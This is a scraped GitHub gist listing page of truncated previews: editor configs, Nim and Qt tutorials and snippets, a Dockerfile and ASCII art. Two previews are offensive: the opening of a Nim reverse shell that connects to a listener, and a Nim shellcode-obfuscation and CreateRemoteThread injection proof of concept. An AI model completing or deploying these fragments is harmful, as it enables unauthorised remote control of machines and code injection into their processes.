Skip to content

Instantly share code, notes, and snippets.

View foxoman's full-sized avatar

Sultan Al Isaiee foxoman

View GitHub Profile
@foxoman
foxoman / init.vim
Created December 21, 2022 17:59 — forked from prkstaff/init.vim
My NeoVim config + Dracula theme + NerdTree
"*****************************************************************************
"" Vim-PLug core
"*****************************************************************************
if has('vim_starting')
set nocompatible " Be iMproved
endif
let vimplug_exists=expand('~/.config/nvim/autoload/plug.vim')
let g:vim_bootstrap_langs = "javascript,php,python,ruby"
@foxoman
foxoman / tutorial.md
Created October 19, 2022 18:51 — forked from KyrillosWalid/tutorial.md
How to add Nim-lang code to C/C++ code - TUTORIAL

How to add Nim-lang code to C/C++ code


Note 1: This tutorial is for Linux users only, but if you understand the idea, you can use it on all systems and it will work as required :).
Note 2: Nim-lang version used in this tutorial is 1.0.4 (To get Nim-lang version nim -v)

To add Nim-lang code to C/C++ code you have 3 choices :

  • Compile Nim-lang code as a (C/C++ header File). THIS IS WHAT WE WILL TAKE TODAY.
  • Compile Nim-lang code as a (C/C++ static library).
  • Compile Nim-lang code as a (C/C++ dynamic library).
@foxoman
foxoman / nimrs.nim
Created September 19, 2022 18:01 — forked from pawnmuncher/nimrs.nim
A simple reverse shell written in Nim
import net
import osproc
import strformat
# Create Socket
let port = 9999
let address = "127.0.0.1"
let sock = newSocket()
# Connect to listener
@foxoman
foxoman / nimterpreter.nim
Created September 19, 2022 17:59 — forked from pawnmuncher/nimterpreter.nim
A simple PoC for obfuscating shellcode in Nim
# With special thanks to byt3bl33d3r for Offensive Nim!
import winim/lean
import osproc
import base64
import sequtils
import strutils
proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =
let tProcess = startProcess("notepad.exe")
@foxoman
foxoman / client.nim
Created August 5, 2022 14:31 — forked from Michal-Szczepaniak/client.nim
Nim UDP server discovery
import net
let socket = newSocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
socket.setSockOpt(OptReuseAddr, true)
socket.setSockOpt(OptReusePort, true)
socket.setSockOpt(OptBroadcast, true)
socket.sendTo("255.255.255.255", Port(12346), $0b10)
var
receivedFrom = ""
@foxoman
foxoman / clean_code.md
Created January 21, 2022 16:47 — forked from wojteklu/clean_code.md
Summary of 'Clean code' by Robert C. Martin

Code is clean if it can be understood easily – by everyone on the team. Clean code can be read and enhanced by a developer other than its original author. With understandability comes readability, changeability, extensibility and maintainability.


General rules

  1. Follow standard conventions.
  2. Keep it simple stupid. Simpler is always better. Reduce complexity as much as possible.
  3. Boy scout rule. Leave the campground cleaner than you found it.
  4. Always find root cause. Always look for the root cause of a problem.

Design rules

@foxoman
foxoman / RPS_ASCII_Art.py
Created November 29, 2021 20:28 — forked from wynand1004/RPS_ASCII_Art.py
Rock, Paper, Scissors ASCII Art
# Rock Paper Scissors ASCII Art
# Rock
print("""
_______
---' ____)
(_____)
(_____)
(____)
---.__(___)
@foxoman
foxoman / cmake_windows_icon.txt
Last active October 31, 2021 18:49 — forked from Niakr1s/cmake_windows_icon.txt
How to add icon to cmake app in windows
1. Put app.ico in directory.
2. Create app.rc in same directory with one line:
IDI_ICON1 ICON DISCARDABLE "app.ico"
3. Run command (Warning: it's app.o, not app.res, how it is mentioned in other manuals!)
// in windows
windres app.rc -o app.o
// in linux
@foxoman
foxoman / main.cpp
Created August 15, 2020 11:58
Full Qt Console Application with CommandLine Parser!
#include <QCoreApplication>
#include <QCommandLineParser>
#include <QtDebug>
#include <QTimer>
static QTextStream qin( stdin, QIODevice::ReadOnly );
using qStr = const QString;
int main( int argc, char* argv[] )
@foxoman
foxoman / Dockerfile
Created June 18, 2020 10:20 — forked from fgsahoward/Dockerfile
Qt WebAsm Arch Linux Dockerfile
FROM base/archlinux:latest AS base
RUN pacman -Sy --noconfirm binutils perl python libxcb clang emscripten git make cmake qbs
ENV PATH="/usr/lib/emscripten:${PATH}"
FROM base AS repos-configured
COPY ./configure-qt5-repos.sh ./
RUN ./configure-qt5-repos.sh
FROM repos-configured AS repos-built